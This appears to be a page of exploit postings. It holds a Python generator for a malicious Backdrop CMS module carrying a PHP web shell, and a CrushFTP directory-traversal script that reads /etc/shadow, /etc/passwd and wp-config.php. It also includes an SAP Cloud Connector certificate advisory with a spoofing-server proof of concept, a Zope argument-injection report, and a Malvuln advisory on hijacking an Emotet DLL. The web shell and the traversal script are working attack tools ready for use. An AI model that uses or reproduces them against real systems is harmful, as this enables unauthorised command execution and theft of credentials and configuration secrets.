Latest exploits :: CodePwn

<pre><code># Exploit Title: Backdrop CMS 1.27.1 - Remote Command Execution (RCE) # Date: 04/27/2024 # Exploit Author: Ahmet Ümit BAYRAM # Vendor Homepage: https://backdropcms.org/ # Software Link: https://github.com/backdrop/backdrop/releases/download/1.27.1/backdrop.zip # Version: latest # Tested on: MacOS import os import time import zipfile def create_files(): info_content = """ type = module name = Block description = Controls the visual building blocks a page is constructed with. Blocks are boxes of content rendered into an area, or region, of a web page. package = Layouts tags[] = Blocks tags[] = Site Architecture version = BACKDROP_VERSION backdrop = 1.x configure = admin/structure/block ; Added by Backdrop CMS packaging script on 2024-03-07 project = backdrop version = 1.27.1 timestamp = 1709862662 """ shell_info_path = "shell/shell.info" os.makedirs(os.path.dirname(shell_info_path), exist_ok=True) # Klasörü oluşturur with open(shell_info_path, "w") as file: file.write(info_content) shell_content = """ <html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> </pre> </body> </html> """ shell_php_path = "shell/shell.php" with open(shell_php_path, "w") as file: file.write(shell_content) return shell_info_path, shell_php_path def create_zip(info_path, php_path): zip_filename = "shell.zip" with zipfile.ZipFile(zip_filename, 'w') as zipf: # Dosyaları shell klasörü altında sakla zipf.write(info_path, arcname='shell/shell.info') zipf.write(php_path, arcname='shell/shell.php') return zip_filename def main(url): print("Backdrop CMS 1.27.1 - Remote Command Execution Exploit") time.sleep(3) print("Evil module generating...") time.sleep(2) info_path, php_path = create_files() zip_filename = create_zip(info_path, php_path) print("Evil module generated!", zip_filename) time.sleep(2) print("Go to " + url + "/admin/modules/install and upload the " + zip_filename + " for Manual Installation.") time.sleep(2) print("Your shell address:", url + "/modules/shell/shell.php") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python script.py [url]") else: main(sys.argv[1]) </code></pre>

<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20240513-0 > ======================================================================= title: Tolerating Self-Signed Certificates product: SAP® Cloud Connector vulnerable version: 2.15.0 - 2.16.1 (Portable and Installer) fixed version: 2.16.2 (Portable and Installer) CVE number: CVE-2024-25642 impact: high homepage: https://www.sap.com/about.html found: 2023-11-13 by: Mingshuo Li (Office Munich) Fabian Hagg SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "The Cloud Connector is an optional on-premise component that is needed to integrate on-demand applications with customer backend services and is the counterpart of SAP Connectivity service." Source: https://tools.hana.ondemand.com/#cloud Business recommendation: ------------------------ SEC Consult recommends to implement the security note 3424610, where the documented issue is fixed in version 2.16.2 according to the vendor. We advise installing the correction as a matter of priority to keep business-critical data secured. Source: https://support.sap.com/en/my-support/knowledge-base/security-notes-news/february-2024.html Vulnerability overview/description: ----------------------------------- 1) Tolerating Self-Signed Certificates (CVE-2024-25642) As per vendor documentation, the authentication between SCC and SAP BTP is guaranteed mutually: "The tunnel itself is using TLS with strong encryption of the communication, and mutual authentication of both communication sides, the client side (Cloud Connector) and the server side (SAP BTP)." Source: https://help.sap.com/docs/connectivity/sap-btp-connectivity-cf/inbound-connectivity#tls-tunnel It was however discovered that the SCC trusts self-signed X.509 server certificates for transport security to establish outbound connections with cloud-related endpoints. Thus, an attacker can impersonate the genuine servers to interact with the SCC, hence breaking the mutual authentication promise. Our analysis shows furthermore that the product does not implement Certificate Pinning for the trusted endpoints. The security impact of this vulnerability is rated high due to the trust put into self-signed certificates, SCC is unable to distinguish between genuine and malicious SAP BTP endpoints, rendering trivial adversary-in-the-middle attacks possible. Proof of concept: ----------------- 1) Tolerating Self-Signed Certificates (CVE-2024-25642) A "tunnel" established between a subaccount of SAP BTP and SCC represents a long-lived bi-directional WebSocket over TLS customized by the vendor. Such a tunnel is initiated by the SCC, known as reverse invoke approach, to give the administrator full control of the tunnel. Two tunnels established by SCC are protected by TLS with respect to encrypted communication. However, SCC does not verify the authenticity of the certification authority, hence allowing an attacker to impersonate the target server, using self-signed certificates. In particular, the attack is targeted at the following two endpoints, but not limited to the region host us10. - connectivitynotification.cf.us10.hana.ondemand.com - connectivity.us10.trial.applicationstudio.cloud.sap Note that the following endpoint, which is used for the initial certificate signing request by SCC and to receive the BTP subaccount credentials, is not susceptible to this issue. - connectivitycertsigning.cf.us10.hana.ondemand.com Nonetheless, it suffices to silently eavesdrop and manipulate network traffic between SCC and SAP BTP by impersonating the two vulnerable endpoints above. Without loss of generality, the first endpoint is taken as example to demonstrate the issue by the following steps: 1. Add an entry in /etc/hosts of the SCC host as below to resolve the host name to an attacker-controlled IP address: 192.168.1.100 connectivitynotification.cf.us10.hana.ondemand.com 2. Generate a self-signed certificate with the spoofed hostname as common name ``` $ openssl req -x509 -newkey rsa:4096 -keyout conn-noti-key.pem -out conn-noti-cert.pem -sha256 -days 3650 -nodes -subj "/C=DE/ST=Baden-Wuerttemberg/L=Walldorf/O=SAP SE/OU=ITSecurity/CN=connectivitynotification.cf.us10.hana.ondemand.com" ``` 3. Start an HTTPS server on the attacker machine to receive the connection from SCC, using the self-signed certificate created in step 2 The following Python script can be used to start the HTTPS server: ``` $ cat https-dummy-server.py import http.server import ssl server_address = ("192.168.1.100", 443) httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, server_side=True, certfile="self-signed-cert/conn-noti-cert.pem", keyfile="self-signed-cert/conn-noti-key.pem", ssl_version=ssl.PROTOCOL_TLS) httpd.serve_forever() ``` 4. Connect to a subaccount of BTP, for example US East AWS, in the SCC Administration UI As soon as the connection is launched, the dummy web server will receive the request as shown below: ``` $ python3 https-dummy-server.py 192.168.1.200 - - [10/Nov/2023 12:00:00] "GET /connectivity HTTP/1.1" 200 - ``` This observation confirms that the TLS connection between SCC and the spoofed BTP endpoint operated on the attacker's machine has been successfully established although the server presented a self-signed certificate. No security warning message is being displayed in the Administration UI, making the attack surreptitious. Vulnerable / tested versions: ----------------------------- The following versions have been tested which were the latest versions available at the time of the test: * SAP Cloud Connector Linux x86_64 Version 2.16.0 * SAP Cloud Connector Linux (Portable) x86_64 Version 2.16.0 According to the vendor, the vulnerability is a regression and affects the versions 2.15.0 - 2.16.1. Vendor contact timeline: ------------------------ 2023-11-14: Contacting vendor through vulnerability submission web form 2023-11-17: Vendor confirms receipt and assign SAP security incident numbers to the four submitted findings: 2370150975, 2370150977, 2370150994, 2370151022 2023-11-20: Vendor informs the reported issues be assigned the appropriate development teams for analysis 2023-12-05: Requesting status update 2023-12-05: Vendor informs that 2370151022 be rejected 2023-12-05: Issuing rebuttal for 2370151022 2023-12-06: Vendor contemplates further analysis 2023-12-14: Vendor decides not to take any action on 2370151022 and rejects 2370150977 and 2370150975 as well. 2023-12-15: Vendor accepts 2370150994 2024-01-05: Asked vendor to comment on the three rejected issues 2024-01-10: Vendor gives detailed rationale for the rejection of 2370150975 2024-01-12: Issuing rebuttal for 2370150975 2024-01-15: Vendor insists on rejection of 2370150975 and closes the ticket. Removing three rejected potential security issues from advisory. 2024-02-13: Release of SAP Security Patch Day, security note #3424610 2024-02-26: Asking for the disclosure guideline to publish finding 2370150994 2024-02-26: Vendor confirms the three-month embargo 2024-05-13: Coordinated release of SEC Consult advisory. Solution: --------- The vendor provides a patched version 2.16.2 which can be downloaded from their website: https://tools.hana.ondemand.com/#cloud Also see the vendor's security note #3424610 for further details: https://me.sap.com/notes/3424610 Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: https://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF M. Li, F. Hagg / @2024 </code></pre>

<pre><code># Vulnerability Report ## Title: Command Argument Injection Vulnerability in Zope WSGI Instance Creation Script Leading to RCE ### Description: A command Argument injection vulnerability has been identified in the Zope WSGI instance creation script used by the Zope web application server framework, which is maintained by the Zope Foundation. The script, mkwsgiinstance, facilitates the setup of new Zope WSGI application instances and involves specifying the Python interpreter among other parameters via command-line arguments. The flaw stems from insufficient validation of the Python interpreter path, allowing an attacker to execute arbitrary shell commands. ### Affected Product: Product: Zope WSGI instance creation script (mkwsgiinstance) Version: All versions prior to the most recent update -Impact: This vulnerability permits an attacker with local access to the server to execute arbitrary commands with the privileges of the user running the mkwsgiinstance script. The potential impacts include unauthorized information disclosure ### POC: ```bash (env) root@lab:/opt/Zope# mkwsgiinstance -p "/usr/bin/mkdir" -d "/tmp/temp;" Please choose a username and password for the initial user. These will be the credentials you use to initially manage your new Zope instance. Username: d Password: Verify password: (env) root@lab:/opt/Zope# ls /tmp 'temp;' ``` In this example, the attacker replaces the Python interpreter argument (-p) with the mkdir command, followed by an arbitrary directory path. Due to inadequate command-line argument sanitation, the script executes the mkdir command, thus illustrating arbitrary command execution. ### Vulnerable Code Snippet: ```python if opt in ("-p", "--python"): python = os.path.abspath(os.path.expanduser(arg)) if not os.path.exists(python) and os.path.isfile(python): usage(sys.stderr, "The Python interpreter does not exist.") sys.exit(2) ``` This code snippet fails to adequately validate the python variable that influences subprocess commands directly, enabling potential command injection when malicious inputs are utilized. CVSS Calculated Vulnerability Score: https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ### Credits: This vulnerability was disclosed by Aymane MAZGUITI / Ilyase Dehy. </code></pre>

<pre><code>## Exploit Title: CrushFTP Directory Traversal ## Google Dork: N/A # Date: 2024-04-30 # Exploit Author: [Abdualhadi khalifa (https://twitter.com/absholi_ly) ## Vendor Homepage: https://www.crushftp.com/ ## Software Link: https://www.crushftp.com/download/ ## Version: below 10.7.1 and 11.1.0 (as well as legacy 9.x) ## Tested on: Windows10 import requests import re # Regular expression to validate the URL def is_valid_url(url): regex = re.compile( r'^(?:http|ftp)s?://' # http:// or https:// r'(?:(?:A-Z0-9?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain... r'localhost|' # localhost... r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|' # ...or ipv4 r'\[?[A-F0-9]*:[A-F0-9:]+\]?)' # ...or ipv6 r'(?::\d+)?' # optional: port r'(?:/?|[/?]\S+)$', re.IGNORECASE) return re.match(regex, url) is not None # Function to scan for the vulnerability def scan_for_vulnerability(url, target_files): print("Scanning for vulnerability in the following files:") for target_file in target_files: print(target_file) for target_file in target_files: try: response = requests.get(url + "?/../../../../../../../../../../" + target_file, timeout=10) if response.status_code == 200 and target_file.split('/')[-1] in response.text: print("vulnerability detected in file", target_file) print("Content of file", target_file, ":") print(response.text) else: print("vulnerability not detected or unexpected response for file", target_file) except requests.exceptions.RequestException as e: print("Error connecting to the server:", e) # User input input_url = input("Enter the URL of the CrushFTP server: ") # Validate the URL if is_valid_url(input_url): # Expanded list of allowed files target_files = [ "/var/www/html/index.php", "/var/www/html/wp-config.php", "/etc/passwd", "/etc/shadow", "/etc/hosts", "/etc/ssh/sshd_config", "/etc/mysql/my.cnf", # Add more files as needed ] # Start the scan scan_for_vulnerability(input_url, target_files) else: print("Invalid URL entered. Please enter a valid URL.") </code></pre>

<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https://malvuln.com/advisory/f917c77f60c3c1ac6dbbadbf366ddd30.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: TrojanSpy.Win64.EMOTET.A Vulnerability: Arbitrary Code Execution Description: The malware looks for and executes a x64-bit "CRYPTBASE.dll" PE file in its current directory. Therefore, we can hijack the DLL and execute our own code to intercept and terminate the malware. Once loaded the exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. Leverage RansomLord v3 for DLL generation, while written as a proof-of-concept to specifically defeat ransomware, it can also be used to generate DLLs to try an exploit other types of malwares. All basic tests were conducted successfully in a virtual machine environment. Family: EMOTET Type: PE64 MD5: f917c77f60c3c1ac6dbbadbf366ddd30 SHA256: b76fbc81bbb7f3108d27d9da9e2646aeb3769fba62bf7961f79306812de3486c Vuln ID: MVID-2024-0684 Disclosure: 05/14/2024 Exploit/PoC: 1) Download RansomLord v3 https://github.com/malvuln/RansomLord 2) Locate the x64 CRYPTBASE.dll entry using the -m flag (DLL Map) 3) Use -g flag (Generate Exploit) to output an x64 DLL CRYPTBASE.dll, based on an existing vulnerable malware in the victims list. 4) (Optional) -e flag to setup Windows event IOC logging in the registry, this will log the SHA256 hash, full path and filename. Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>